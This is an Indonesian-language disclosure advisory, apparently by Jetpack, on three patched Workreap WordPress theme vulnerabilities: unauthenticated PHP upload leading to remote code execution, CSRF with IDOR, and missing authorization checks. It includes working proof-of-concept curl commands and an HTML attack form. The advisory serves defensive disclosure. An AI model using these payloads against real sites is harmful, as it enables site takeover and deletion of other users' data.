Beberapa kerentanan dalam tema Workreap oleh Amentotech

Diterbitkan: 2021-07-07

Baru-baru ini tim Jetpack menemukan beberapa file yang terinfeksi di salah satu situs pelanggan kami yang dihosting, dan dengan cepat melacak sumber infeksi kembali ke tema Workreap oleh Amentotech. Kami memulai penyelidikan dan menemukan sejumlah titik akhir AJAX yang rentan dalam tema; yang paling parah adalah kerentanan unggahan yang tidak diautentikasi dan tidak divalidasi yang berpotensi menyebabkan eksekusi kode jarak jauh dan pengambilalihan situs secara penuh.

Kami melaporkan kerentanan kepada tim Amentotech melalui program Envato Helpful Hacker, dan masalah tersebut segera ditangani oleh mereka. Versi 2.2.2 dari tema dirilis pada 29 Juni 2021 yang memperbaiki kerentanan yang ditemukan.

TL;DR

Karena seriusnya kerentanan, kami sangat menyarankan semua pengguna tema Workreap untuk meningkatkan ke versi 2.2.2 atau yang lebih baru sesegera mungkin.

Unduh pemutakhiran dari situs web tema dan instal secara manual, atau tingkatkan secara otomatis melalui plugin pasar Envato.

rincian

Nama Tema: Workreap
URI Tema: http://amentotech.com/projects/wpworkreap
Pengarang: Amentotech
URI Penulis: https://themeforest.net/user/amentotech/portfolio

Kerentanan

Karena seriusnya kerentanan, kami akan menunda pengiriman bukti konsep dan analisis lengkap untuk memberi waktu kepada pengguna untuk meningkatkan.

Unggahan yang tidak diautentikasi yang mengarah ke eksekusi kode jarak jauh

Versi yang Terkena Dampak: < 2.2.2
ID-CVE: CVE-2021-24499
CVSSv3.1: 10.0
CWE: CWE-284, CWE-641,
CWSS: 90.7
Tautan WPScan: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

Tindakan AJAX workreap_award_temp_file_uploader dan workreap_temp_file_uploader tidak melakukan pemeriksaan nonce, atau memvalidasi bahwa permintaan berasal dari pengguna yang valid dengan cara lain. Titik akhir memungkinkan untuk mengunggah file arbitrer ke direktori uploads/workreap-temp . File yang diunggah tidak dibersihkan atau divalidasi, memungkinkan pengunjung yang tidak diautentikasi untuk mengunggah kode yang dapat dieksekusi seperti skrip php.

Bukti dari konsep

% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

Beberapa kerentanan CSRF + IDOR

Versi yang Terkena Dampak: < 2.2.2
ID-CVE: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283, CWE-284, CWE-862
CWSS: 78,3
Tautan WPScan: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

Beberapa tindakan AJAX yang tersedia dalam tema Workreap tidak memiliki perlindungan CSRF, serta memungkinkan referensi objek langsung (IDOR) tidak aman yang tidak divalidasi. Ini memungkinkan penyerang untuk mengelabui pengguna yang masuk untuk mengirimkan permintaan POST ke situs yang rentan, berpotensi memodifikasi atau menghapus objek arbitrer di situs target.

Dalam versi sebelum 2.0.0 tindakan ini tidak memiliki otentikasi sepenuhnya, dan dapat dieksploitasi oleh pengunjung situs mana pun.

Bukti dari konsep

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

Tidak ada pemeriksaan otorisasi dalam tindakan AJAX

Versi yang Terkena Dampak: < 2.2.2
CVE-ID: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283, CWE-862
CWSS: 68.5
Tautan WPScan: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

Beberapa tindakan AJAX yang tersedia dalam tema Workreap tidak memiliki pemeriksaan otorisasi untuk memverifikasi bahwa pengguna diberi otorisasi untuk melakukan operasi penting seperti memodifikasi atau menghapus objek. Ini memungkinkan pengguna yang masuk untuk mengubah atau menghapus objek milik pengguna lain di situs.

Dalam versi sebelum 2.0.0 tindakan ini tidak memiliki autentikasi sepenuhnya dan dapat dieksploitasi oleh pengunjung situs mana pun.

Bukti dari konsep

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

Linimasa

2021-06-24: Kerentanan unggahan awal ditemukan oleh tim Jetpack Scan, dilaporkan ke program Envato Helpful Hacker.
2021-06-25: Kerentanan lebih lanjut yang terdokumentasi ditemukan, Amentotech memberi tahu melalui Envato.
2021-06-27: Versi 2.2.1 dirilis, membahas beberapa tetapi tidak semua kerentanan.
2021-06-29: Versi 2.2.2 dirilis, dan perbaikan diverifikasi oleh tim Jetpack Scan.

Kesimpulan

Kami menyarankan Anda memeriksa versi saat ini dari tema Workreap yang Anda gunakan di situs Anda dan, jika kurang dari 2.2.2, perbarui sesegera mungkin!

Di Jetpack, kami bekerja keras untuk memastikan situs web Anda terlindungi dari jenis kerentanan ini. Untuk tetap selangkah lebih maju dari ancaman baru, lihat Jetpack Scan, yang mencakup pemindaian keamanan dan penghapusan malware otomatis.

kredit

Peneliti asli: Harald Eilertsen

Terima kasih kepada tim Jetpack Scan lainnya atas umpan balik, bantuan, dan koreksinya. Juga terima kasih kepada kailoon dari program Envato Helpful Hacker atas bantuannya dalam menjangkau Amentotech, dan kepada Amentotech atas tanggapan yang cepat dalam mengatasi masalah dan merilis versi yang diperbarui.